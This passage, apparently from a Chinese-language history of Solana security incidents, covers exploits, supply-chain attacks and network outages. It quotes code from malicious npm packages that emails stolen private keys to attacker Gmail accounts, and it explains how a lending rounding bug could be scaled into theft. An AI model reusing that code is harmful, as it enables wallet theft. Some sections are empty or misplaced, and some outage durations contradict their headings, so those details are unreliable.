更改任何代币的元数据（例如，将 “toly’s minute” 修改为 “vitalik’s minute”）
从 “HW2C…Lo1H” 钱包中提取所有资金

根本原因

该平台使用单个钱包作为用户交易的共同签名者和平台资产的所有者
后端签名服务缺乏对交易目的和内容的适当验证
系统信任前端提供的交易数据，该数据可能会被操纵

尽管已经到位了验证或模拟检查，但可以通过模糊交易或捆绑/抢先交易来更改其语义来绕过这些安全措施。

影响

虽然由于白帽披露而没有实际的资金损失，但该漏洞危及了：

该平台收集的所有交易费用
整个平台代币元数据的完整性
用户对平台安全模型的信任

如果此漏洞被恶意利用，则可能造成的财务和声誉损失将是巨大的。

应对

补救措施

Time.fun 在收到通知后立即解决了该漏洞。虽然修复的具体技术细节尚未披露，但适当的补救措施可能包括：

重组签名架构以将用户交易签名与平台资产管理分开
在签名之前实施更严格的交易验证
引入多重签名要求以进行敏感操作
为修改元数据或提取资金的交易添加额外的验证步骤

经验教训

此事件表明，未经彻底验证，后端绝不应签署来自前端的交易，因为可以通过交易模糊来绕过模拟检查。

上述事件代表了截至 2025 年 4 月 Solana 上发生的主要应用层漏洞利用。总的来说，这些漏洞利用造成的损失超过 4.31 亿美元，其中 Wormhole 和 Mango 的漏洞利用是最大的。值得注意的是，由于谈判或干预，其中一些事件有部分资金追回（Crema、Mango、Raydium、Cypher），这是 2022-2023 年的一个趋势。尽管如此，Solana 上的 DeFi 显然已成为一个安全战场，推动了审计、链上监控和协议设计方面的许多改进。

供应链攻击（钱包、库和基础设施）

供应链攻击的目标是区块链周围更广泛的生态系统——钱包、库、开发者工具——而不是直接针对链上程序。

在 Solana 的历史中，一些值得注意的事件属于此处，其中第三方软件或流程中的漏洞导致用户密钥或 dApp 安全性受到破坏。

SPL 代币借贷合约严重 Bug — 2021 年 6 月 5 日（发现）

事件

该 Bug——一个微妙的数学错误——可能允许攻击者通过反复借出少量资金并提取四舍五入的较大金额来“窃取”借贷池中的资金。大约 26 亿美元 的资产面临跨协议的风险。幸运的是，白帽首先发现了它；没有恶意利用。Neodyme 于 2021 年 12 月进行了协调披露。

技术细节

该 Bug 本质上是代币转换中的舍入误差。当用户存入代币以获得计息 cToken 时，有缺陷的计算可能会记入比应有的更多的 cToken（由于整数舍入）。

以下是该 Bug 的核心，简化为最简单的形式：

它应该如何工作：

你存入 “真实” 代币（如 SOL）并以一定的汇率收到抵押代币（cToken）。
稍后，你以当前汇率将这些 cToken 兑换回真实代币。

Bug 存在的位置：

由于 Solana 代币具有最小单位（对于 SOL 来说是 “lamport”），因此任何小数结果都必须舍入为这些单位的整数。
如果你选择适当的存款金额然后立即提取，系统会在两个方向上都向上舍入——因此你每轮获得 1 个额外的最小单位。

为什么它很重要：

1 lamport 的 SOL 非常小（约 0.00000022 美元），所以一轮不值多少钱。
但是某些代币具有更大的最小单位值（例如，BTC 的 10⁻⁶ BTC ≈ 0.05 美元），因此每次利用都会让你获得几美分。

将其做大：

你可以在一个交易中批量处理数百个这些 “存款 → 提取” 对（这要归功于 Solana 的高指令限制）。
这会将每轮几美分变成每次交易几美元。
如果你可以每秒推送数百个交易，你实际上可以每秒铸造数千美元。

几个月前已注意到一个初始 GitHub 问题，但在 Neodyme 深入挖掘之前，其严重性未被识别。

Github：token-lending：Reserve::deposit_liquidity 和 Reserve::redeem_collateral 中的舍入可用于窃取代币 #1869

根本原因

该问题已被标记，但未被优先考虑。当时，它可能被视为 “哦，不，偷一个代币，由于交易费用，这在经济上不可行”。

Neodyme 通过创建一个概念验证证明了该漏洞是可行的，该概念验证演示了在他们本地区块链状态副本上的一次交易中窃取 0.000001 BTC。

Loading upgradable program So1endDq2YkqhipRh3WViPa8hdiSpxWy6z3Z6tMCpAo from cluster
Loading account DMCvGv1fS5rMcAvEDPDDBawPqbDRSzJh2Bo6qXCmgJkR from cluster
Loading account 4UpD2fh7xH3VP9QQaXtsS1YY3bxzWhtfpks7FatyKvdY from cluster
Loading account GYzjMCXTDue12eUGKKWAqtF5jcBYNmewr6Db6LaguEaX from cluster
Loading account Gqu3TFmJXfnfSX84kqbZ5u9JjSBVoesaHjfTsaPjRSnZ from cluster
Loading account 9HrQ9RuRsHjKXuAbZzMHMrYuyq62LjY3B7EBWkM4Uyke from cluster
Loading account 9n4nbM75f5Ui33ZbPYXn59EwSgE8CGsHtAeTH5YFeJ9E from cluster
Loading account 4jkyJVWQm8NUkiJFJQx6ZJQhfKLGpeZsNrXoT4bAPrRv from cluster
Loading account GVXRSBjFk6e6J3NbVPXohDJetcTjaeeuykUpbQF8UoMU from cluster
Loading account 74YzQPGUT9VnjrBz8MuyDLKgKpbDqGot5xZJvTtMi6Ng from cluster
Loading account 9CjhBpwiQbP2zYnj7PqHTxPPp2BCR4Y4rP4ZPWkqrCQk from cluster
Amount before: 10 BTC
Using 0.328 BTC
Amount after: 10.000001 BTC

来源：Neodyme 博客：如何一次赚 0.000001 BTC 成为百万富翁

补救措施

Neodyme 通过一个开放的 pull request 解决了该问题，该请求将所有 round 操作替换为 floor 操作。这可以防止你得到的代币数量大于你投入的代币数量，除非 ctoken 升值（这是预期的行为）。

Github：lending：一致地处理舍入 #1883

该团队向 Solana 基金会和 Solend（借贷程序最突出的用户）报告了该漏洞。

Larix  7Zb1bGi32pfsrBkzWdqd4dFhUXwp5Nybr1zuaEwN34hy
Tulip  4bcFeLv4nydFrsZqV5CgwCVrPhkQKsXtzfy2KyMz7ozM
Port   Port7uDYB3wk6GJAw4KT1WpTeMtSu9bTcChBHkX2LfR
Solend So1endDq2YkqhipRh3WViPa8hdiSpxWy6z3Z6tMCpAo
Soda   Soda111Jv27so2PRBd6ofRptC6dKxosdN5ByFhCcR3V
Acumen C64kTdg1Hzv5KoQmZrQRcm2Qz7PkxtFBgw7EpFhvYn8W

应对

Github：lending：一致地处理舍入 #1883

在此期间，没有用户损失资金。2021 年 12 月 3 日，Neodyme 发布了一份详细的 事后分析报告 “如何一次赚 0.000001 BTC 成为百万富翁”，一旦所有平台都安全。

影响

经验教训

此事件强调了审计公共库的重要性。许多 Solana DeFi 项目都假设 SPL 合约经过实战考验；在此之后，Solend 等项目增加了他们自己对第三方代码的测试。它还证明了协调披露的有效性——悄悄地进行，它可以防止大规模恐慌或白帽和黑帽之间的竞争。社区意识到，虽然 Solana 的运行时是安全的（内存安全的 Rust），但金融数学中的逻辑 Bug 仍然可能发生，并且如果没有仔细的形式分析，可能更难发现。这促使 Solana 生态系统中进行了更严格的审计（随后聘请了 Kudelski、OtterSec、Trail of Bits 等公司对关键程序进行审计）。

Slope 钱包密钥泄露 — 2022 年 8 月 2 日

事件

2022 年 8 月初，超过 9,214 个 Solana 钱包（主要是 Slope 和一些 Phantom 钱包）在一个大规模攻击中神秘地被耗尽了资金。用户看到 SOL 和 SPL 代币从他们的钱包中消失，没有任何互动。

https://www.npmjs.com/package/@solana/web3.js

该漏洞源于 Slope Finance 钱包应用程序中的 供应链故障：Slope 的移动钱包无意中将用户的秘密恢复短语以纯文本形式记录到外部服务器 (Sentry) 中。

攻击者获得了这些日志，从而获得了私钥，使他们能够直接从用户钱包中窃取约450 万美元。这不是区块链协议黑客攻击，而是客户端泄露——本质上是按用户数量计算的最大的加密钱包泄露事件之一。

技术细节

Solana 钱包提供商 Slope Wallet 在其应用程序中使用了一种名为 Sentry 的错误跟踪服务。Sentry 配置不正确：它正在捕获敏感数据。

Solana 大规模盗窃分析

一旦掌握了用户的种子短语，攻击者只需使用它们来派生私钥，并在大约 7 小时的时间内系统地耗尽钱包。

根本原因

影响

根据 SlowMist 分析，大约 9,214 个钱包 受到破坏，总共损失了 450 万美元 的 SOL、USSlope Finance 最终承认了他们的角色，声明有一部分钱包的详细信息被泄露。他们起初声称“没有确凿的证据”，但后来很明显 Slope 是罪魁祸首。

从技术性的事后分析（由社区驱动，因为 Slope 自身的透明度有限）中，我们了解到 Slope 关闭了 Sentry 日志并修复了应用程序以停止发送 seed phrases。像 OtterSec 和 SlowMist 这样的安全研究人员帮助进行了调查。Slope 悬赏给黑客以求归还（没有归还）

补救措施

该事件引发了对开源钱包代码和钱包安全标准的更高呼声。到 2023 年，许多 Solana 钱包（包括最终的 Phantom）开源了他们的代码，以邀请社区审查。Solana 基金会还启动了安全资助计划，专门关注钱包安全改进（如 seed phrase 教育，更好的签名用户体验以避免其他问题）。

经验教训

Slope 黑客事件证明，密钥管理是加密安全的最关键方面——即使是最安全的区块链，如果钱包软件泄露密钥，也会变得脆弱。

@Solana/web3.js 事件 — 2024 年 12 月 2 日至 3 日

事件

技术细节

攻击影响了该软件包的 1.95.6 和 1.95.7 版本，并通过 npm 发布凭证的网络钓鱼式攻击发生。攻击者插入了一个名为 addToQueue 的后门函数，专门用于捕获和泄露用于签署交易和访问钱包的私钥。

The @Solana/web3.js Incident: Another Wake-Up Call for Supply Chain Security

恶意代码针对关键的加密操作，包括 Keypair.fromSecretKey 和 Keypair.fromSeed，这些操作通常在处理私钥时使用。受感染的软件包在 npm 上大约保留了五个小时，在此期间，任何更新到或全新安装这些版本的应用程序都可能暴露。

根本原因

这代表了一次经典的供应链攻击，其中广泛分发的软件的完整性在其源头受到损害。

影响

X Post

响应

Mend.io 将此问题追踪为 MSC-2024–17462 和 MSC-2024–17463，向其客户发出受影响版本的警报。

Solana 团队发布了一个 CVE 配置文件来解决此问题。

补救措施

Solana 基金会通过其 1.95.8 版本 升级删除了恶意代码。他们敦促开发者升级到 latest 版本。

建议怀疑自己可能受到损害的开发者轮换任何可疑的授权密钥，包括多重签名、程序授权、服务器密钥对等。

经验教训

npm 软件包库恶意软件 — 2025 年 1 月

事件

2025 年 1 月，安全研究人员发现了一场 npm 上的恶意软件包活动，专门针对 Solana 开发者。发现了几个域名抢注软件包，其中包含可以从开发者系统中窃取 Solana 钱包私钥并通过 Gmail SMTP 将其发送给攻击者的代码。

这是一个通过开发者工具进行 供应链攻击 的现代示例——通过诱骗开发者安装受感染的库，攻击者试图泄露机器上存在的任何 Solana 密钥（例如，测试或部署中使用的密钥）。

技术细节

已识别的恶意软件包包括 @async-mutex/mutex（模仿真实的互斥库）、dexscreener（模仿 DEX 数据库）、solana-transaction-toolkit、solana-stable-web-huks（在 npm 上）和一个 PyPI 软件包 pycord-self。前四个是专门针对 Solana 的：它们被构建为扫描受感染的系统以查找 Solana 私钥。

Gmail For Exfiltration: Malicious npm Packages Target Solana Private Keys and Drain Victims’ Wallets

他们可能通过搜索常见文件路径（例如，主目录中的 Solana 命令行界面密钥对文件）或拦截内存中 Solana 密钥对象的使用来实现这一点。一旦找到，恶意软件将通过 SMTP 将密钥（或 seed phrases）发送到攻击者的 Gmail，将泄露伪装成电子邮件流量。

值得注意的是，其中两个软件包更进一步：solana-transaction-toolkit 和 solana-stable-web-huks 不仅会窃取密钥，还会自动使用它们将最多 98% 的钱包资金耗尽到攻击者的地址。这种自动盗窃是狡猾的——留下 2% 可能是为了避免立即引起怀疑（因为空钱包是一个明显的危险信号）

const transporter = nodemailer.createTransport({
    host: "smtp.gmail.com",          // Using Gmail's SMTP server for exfiltration
    port: 465,                       // SSL port to secure the connection
    secure: true,                    // Enforces a secure connection (SSL/TLS)
    auth: {
        user: "vision.high.ever@gmail.com", // Attacker-controlled Gmail account
        pass: "[redacted]",                 // Redacted hardcoded password
    },
});

const sendEmail = async (privateKey) => {
    // This function is responsible for sending the stolen private key via email

    const email = {
        from: "vision.high.ever@gmail.com",
        to: "james.liu.vectorspace@gmail.com",  // Attacker's inbox where stolen keys are collected
        subject: "Hi, This is Dexscreener",     // Deceptive subject referencing the malicious package name
        text: privateKey,                       // The victim’s private key is inserted directly into the email body
    };
    await transporter.sendMail(email); // Sends the stolen data to the attacker's Gmail account

Gmail For Exfiltration: Malicious npm Packages Target Solana Private Keys and Drain Victims’ Wallets

这些软件包通过Hook到 Solana web3 函数或仅在导入时执行密钥窃取来实现此目的。整个攻击媒介依赖于开发者（甚至最终用户）在其项目或脚本中安装这些库，并认为它们是合法的。这是一种 社会工程 + 恶意软件 的组合。

重要的是，Solana 的区块链或官方工具中没有涉及任何特定的漏洞——攻击利用了错误（错别字）和对开源存储库的信任。

根本原因

根本原因是 域名抢注和开放存储库信任 ——这是 npm 等生态系统中固有的风险。Solana 的代码中没有漏洞；相反，攻击者利用了人为错误（键入软件包名称或选择未经审查的库）。

这类似于其他生态系统中的攻击：例如，通过 DNS 或电子邮件将 AWS 密钥发送给攻击者的恶意 Python 软件包。它强调 Solana 的安全性不仅仅限于链上 - 它包括开发者实践。

影响

由安全公司 Socket 于 2025 年 1 月发现，尚不清楚是否真的通过这些软件包窃取了任何资金，或者它们是否在造成重大损失之前被捕获。

公开披露表明，目的是对高价值目标（如 Solana 项目的开发者，他们可能在其系统上拥有部署者密钥）执行供应链攻击。

这是一个 预防性成功，因为社区在发生已知的重大事件之前收到了警报。如果未被发现，这可能会导致 Solana 项目或个人开发者钱包的隐秘违规行为。我们可以将其比作 event-stream npm 软件包事件（在以太坊生态系统中），其中一个依赖项受到损害，以在 2018 年针对 Copay 钱包。这似乎是 Solana 首次与针对它的恶意软件包发生重大遭遇。

响应

发现后，恶意软件包已 从 npm 库中删除，并且 软件包名称已报告。像 npm 这样的平台拥有可以快速删除此类软件包的安全团队。Socket 发布了一篇博客文章，详细介绍了 IoC（入侵指标）——例如，使用的攻击者的 Solana 地址（被盗资金将转入）socket.dev — 以便任何过去的受害者都可以进行调查。

敦促开发者 轮换可能已安装在这些软件包的机器上的任何密钥，并更新依赖项。

补救措施

在生态系统层面，提高知名度是关键。此后，Solana 开发者开始仔细检查软件包的真实性（例如，使用 npm audit 或 Socket 等服务来标记有风险的导入）。一些项目将依赖项锁定到已知的良好版本。被模仿的合法软件包（如 async-mutex）的维护者添加了关键字或警告，以帮助开发者不上假货的当。

从长远来看，解决方案是采用 软件包签名和验证 ——npm 和 PyPI 正在努力实现这一目标。在此之前，仔细审查新库（星标、作者等）是最好的防御。

经验教训

对于开发者来说：错误拼写可能是致命的！ 一个拼写错误的依赖项，你的系统（和加密密钥）可能属于攻击者。此事件教会了开发者在其工作流程中加入 安全工具。例如，使用自动扫描程序来查找恶意模式（此处的恶意软件包是通过注意到它们访问 OS 密钥路径并使用 SMTP 来检测到的）。这也是 最小权限原则 的一个案例——开发者不应以纯文本形式将 mainnet 私钥保存在开发机器上。使用密钥管理器或隔离环境。

Serum DEX 和 FTX 妥协 — 2022 年 11 月 (避免了供应链风险)

（值得一提的是：）虽然不是资金被盗的“事件”，但值得注意的是 2022 年 11 月 Serum DEX 密钥泄漏风险，因为它是一种供应链漏洞。Solana 上的中心化订单簿 DEX Serum 具有由 FTX 控制的升级授权。当 FTX 崩溃并遭到黑客攻击时，Serum 的密钥可能掌握在敌对势力手中。由于担心对 Serum 计划进行潜在的恶意升级，Solana 开发者先发制人地 将 Serum 分叉到 OpenBook 中，从而有效地消除了风险。此事件说明了中心化实体（对 FTX 的供应链信任）的崩溃如何对 Solana 的 DeFi 基础设施构成威胁，社区采取行动来缓解它。这里的教训是 避免 DeFi 程序的中心故障点（Serum 的密钥应该是多重签名，而不是与 CEX 一起使用）。此后，几乎所有主要的 Solana 程序都转向社区治理或多重签名进行控制。

供应链攻击，从 钱包安全漏洞 到 恶意库 和 密钥泄漏，都让 Solana 学到了很多东西。它们强化了以下概念：安全是端到端的：仅靠 Solana 的核心快速且安全是不够的，整个软件和依赖项生态系统都必须经过审查。随着 Solana 的发展，我们可以预期攻击者会继续探测较软的目标（用户端点，开发者工具）。社区的回应——提高钱包透明度、采用安全工具（如针对钱包的 Immunefi Bounty）以及教育开发者——对于加强这些最薄弱的环节至关重要。

核心协议问题（共识和核心软件漏洞）

核心协议问题是指 Solana 的 区块链软件或共识机制 存在缺陷，导致网络中断或潜在的共识失败（与个别 dApp 漏洞利用相反）的事件。Solana 作为一个新的 L1，具有新颖的历史证明 + 权益证明设计，在其早期经历过多次 网络停止和严重错误。以下是主要核心协议事件的按时间顺序的说明：

Solana 网络中断

Solana 从 2020 年到 2024 年初至少经历了 11 次网络中断（部分或全部）。这些事件是指验证器网络停止（没有新区块），并且通常需要协调重启。我们将详细介绍最重要的几个：

2020 年 12 月 4 日 — 主网 Beta 停止（首次中断）
2021 年 9 月 14 日–The Grape Protocol IDO — 17 小时中断（IDO 机器人超载）
2022 年 1 月 6 日至 12 日 — 高拥塞导致性能下降
2022 年 1 月 21 日–29 小时部分中断（重复 TX 洪水）
2022 年 4 月 30 日–糖果机垃圾邮件— 14 小时中断（NFT 铸造机器人垃圾邮件）
2022 年 6 月 1 日–4 小时中断（持久 nonce 共识错误）
2022 年 9 月 30 日–7 小时中断（重复区块错误）
2023 年 2 月 25 日–19 小时中断（巨型区块造成的 Turbine 泛滥）
2024 年 2 月 6 日–4.5 小时中断（来自 JIT Bytecode 缓存错误）

我们重点关注那些已识别出明确技术原因的事件：

主网 Beta 停止中断 — 2020 年 12 月 4 日

事件

2020 年 12 月，Solana 网络经历了一次重大的中断，持续了大约六个小时，原因是 Solana 的块传播机制 Turbine 中的块传播错误。

技术细节

这在网络中造成了根本性的冲突：

持有块 A 的节点拒绝源自块 B 的分叉
持有块 B 的节点拒绝源自块 A 的分叉

根本原因

该系统缺乏检测同一 slot 中重复块的机制，无法将两个版本正确地传播给所有验证器，并允许共识解决应将哪个块作为规范。

影响

在六小时的中断期间：

无法处理任何新交易
Solana 上的 Dapp 和服务不可用
Solana DEX 上的交易停止

大部分停机时间都是由于等待足够的权益权重恢复联机以达到恢复块生产所需的 80% 阈值而造成的。

响应

补救措施

此问题的补救措施是允许服务按哈希而不是 slot number 跟踪块。如果同一 slot 的任意数量的块创建分区，则它们与占用不同 slot 的块的分区的处理方式没有区别。节点将能够修复所有可能的分叉，并且共识将能够解决分区。

经验教训

此事件塑造了 Solana 应对网络弹性的方法，从而导致了更强大的块传播和修复机制。

The Grape Protocol IDO — 17 小时中断 (IDO Bot Overload) — 2021 年 9 月 14 日

事件

2021 年 9 月 14 日，Solana 在 Grape Protocol 在 Raydium AcceleRaytor 上启动其链上初始 DEX 发行 (IDO) 后，经历了一次持续 17 小时的主要网络停止。在 IDO 的 12 分钟内，网络就被空前的机器人驱动事务涌入所淹没，并停止生成根 slot。这些 bot 有效地执行了分布式拒绝服务 (DDoS) 攻击，将事务负载推到了超出网络容量的水平。

技术细节

问题是 资源耗尽 — 机器人用交易轰炸代币销售。Solana 面临 300,000 TPS

Solana slots per second during the Grape IDO outage of September 14th, 2021 (Data source: Jump Crypto)

原始交易数据超过 1 Gbps，每秒 120,000 个数据包 — 事务泛滥验证器的 mempool。

Solana slots per second during the Grape IDO outage of September 14th, 2021 (Data source: Jump Crypto)

根本原因

在重新启动期间，当整数溢出错误导致验证器报告波动的权益数量时，出现了第二个问题，因为通货膨胀计算超出了 64 位整数的容量。

影响

网络完全停止了 17 个小时，阻止了所有事务并中断了在 Solana 上构建的所有服务。中断影响了整个生态系统，从 DeFi 协议到 NFT 市场。

响应

Solana 团队与验证器协调以使用更新后的软件重新启动网络，该软件实施了几项关键修复。

补救措施

经验教训

2022 年 1 月 6 日至 12 日：高拥塞导致性能下降

在 2022 年 1 月 6 日至 1 月 12 日期间，Solana 主网经历了严重的网络拥塞，导致性能下降和部分中断。网络在技术上保持运行，但容量大大降低。

技术细节

客户端难以处理网络日益复杂的高计算事务，从而暴露了其满足需求的能力的局限性。

根本原因

影响

响应

Solana 团队确定了瓶颈并发布了有针对性的性能改进。

补救措施

为了解决这些问题，Solana 1.8.12 版本专门针对程序缓存耗尽：

优化 SigVerify 重复数据删除以更好地处理重复事务
改进执行程序缓存性能以管理复杂事务
增强 Sysvar 缓存以减少处理开销

经验教训

这些事件加速了更强大的事务处理和重复数据删除系统的开发，为以后的改进（如 QUIC 采用和优先级费用）奠定了基础。

2022 年 1 月 21 日至 22 日：来自重复事务洪水的局部中断

事件

技术细节

根本原因

影响

响应

Solana 工程师夜以继日地工作以隔离原因。到 1 月 22 日晚上，他们发布了专门针对重复事务问题的 1.8.14 版本。

补救措施

v1.8.14 补丁“旨在减轻该问题的最严重影响”，从而提高了事务重复数据删除的速度，并限制了领导者将接受到块中的重复事务的数量。

经验教训

4 月 30 日 - 5 月 1 日 2022 年：糖果机垃圾邮件 - 来自 NFT 铸造机器人垃圾邮件的 14 小时中断

事件

技术细节

根本原因

影响

网络完全不可用，持续了八个小时，从而阻止了所有事务。NFT 薄荷事件中断，并且在此期间无法访问所有基于 Solana 的应用程序。

响应

Solana 团队与验证器合作以重新启动网络，Metaplex 迅速实施了一种针对垃圾邮件来源的防御措施。

补救措施

实施一个运行时 Bug 允许某些持久性 nonce 交易被处理两次——一次作为常规交易，另一次作为 nonce 交易——如果它们在 recent_blockhash 字段中使用的是最近的 blockhash 而不是持久性 nonce。这导致了验证者之间的非确定性行为，因为一些节点拒绝了第二次执行，而另一些节点接受了。关键的是，由于超过三分之一的验证者接受了该区块，因此阻止了所需的三分之二多数达成共识。

与标准交易不同，持久性 nonce 交易不会过期，并且需要一种独特的机制来防止重复执行。它们使用绑定到每个账户的链上 nonce 值进行串行处理，该值在每次处理持久性 nonce 交易时都会轮换。一旦轮换，同一个 nonce 交易不应再次有效。

根本原因

根本原因是运行时如何处理使用最近 blockhash 的持久性 nonce 交易的逻辑错误。系统未能正确分离常规交易和持久性 nonce 交易的域，从而允许在两种上下文中解释和执行某些交易，从而导致验证器网络中不一致的状态更改。

影响

网络中断了大约四个半小时，阻止了所有交易处理。依赖持久性 nonce 的服务（特别是预先签署交易的托管服务）即使在立即中断解决后也受到影响，因为该功能已暂时禁用。

响应

Solana 团队识别了该问题，并通过完全禁用持久性 nonce 交易来实施临时解决方案，从而使网络能够恢复运行。

补救措施

为了永久性地解决该问题，Solana 1.10.23 实施了以下几项关键更改：

通过在推进 nonce 帐户时使用固定的字符串对 blockhash 进行哈希处理来分离 nonce 和 blockhash 域，从而使 blockhash 作为 nonce 值无效
引入新的 DurableNonce 类型来替换 nonce 帐户状态中先前的 blockhash 值，从而增加类型安全性
进行更改以确保作为常规交易执行一次的交易不能作为持久性交易重新执行，反之亦然

这些更改在两种交易类型之间创建了清晰的分隔，从而防止了将来由此媒介造成的共识失败。

经验教训

持久性 nonce Bug 突出表明，即使没有网络拥塞或高负载，交易处理中细微的逻辑错误也可能导致共识失败。它证明了区块链系统中域分离的重要性，在这些系统中，交易类型具有不同的验证规则。该事件还强调了在分布式验证器网络中维护确定性执行的挑战，特别是对于具有非标准处理规则的特殊交易类型。

2022 年 9 月 30 日：由重复区块分叉 Bug 导致的 7 小时中断

事件

2022 年 9 月，Solana 经历了 8 个半小时的中断，该中断是由分叉选择规则中的 Bug 触发的，该 Bug 导致共识失败。与之前与交易拥塞相关的事件不同，这次中断源于验证器如何处理重复区块的一个细微问题。

Adapted From Helius Blog: A Complete History of Solana Outages: Causes, Fixes, and Lessons Learnt

技术细节

由于分叉选择逻辑中的 Bug，当网络遇到无法恢复的分叉时，集群最终停止。此 Bug 阻止了区块生产者在前一个区块上构建，从而导致共识失败。

根本原因

根本原因是分叉选择逻辑中的 Bug，该 Bug 阻止了验证器在存在重复区块时正确切换到多数分叉。当验证器尝试从其分叉过渡到多数分叉时，由于两个分叉的公共祖先（重复区块）未得到正确处理，因此过渡失败。这阻止了验证器识别并加入多数分叉，从而导致网络碎片化。

影响

网络完全中断了大约八个半小时，阻止了所有交易处理。中断影响了所有基于 Solana 的应用程序和服务。

响应

Solana 核心团队调查了该问题并开发了一个客户端补丁来解决分叉选择 Bug。

补救措施

该问题在核心团队审查后得到解决。一个补丁已合并到主分支并反向移植到所有发布分支。该修复程序纠正了验证器如何处理分叉选择过程中的重复区块，从而使它们即使在同一高度存在重复区块时也能正确过渡到多数分叉。

经验教训

重复区块 Bug 突出表明了区块链网络中强大的分叉选择规则的重要性。即使存在冗余机制，共识规则中的极端情况也可能导致全网络范围的故障。此事件表明，如果未正确协调，冗余系统（如验证器备用节点）有时会引入自己的风险。Solana 团队学会了改进验证器处理重复区块的方式，并加强了分叉选择逻辑，以更好地处理不规则情况。

2023 年 2 月 25 日：由 Turbine 洪水（巨型区块）导致的 19 小时中断

事件

2023 年 2 月 25 日，当一个异常大的区块压倒了网络的区块传播系统时，Solana 经历了长达近 19 小时的重大中断。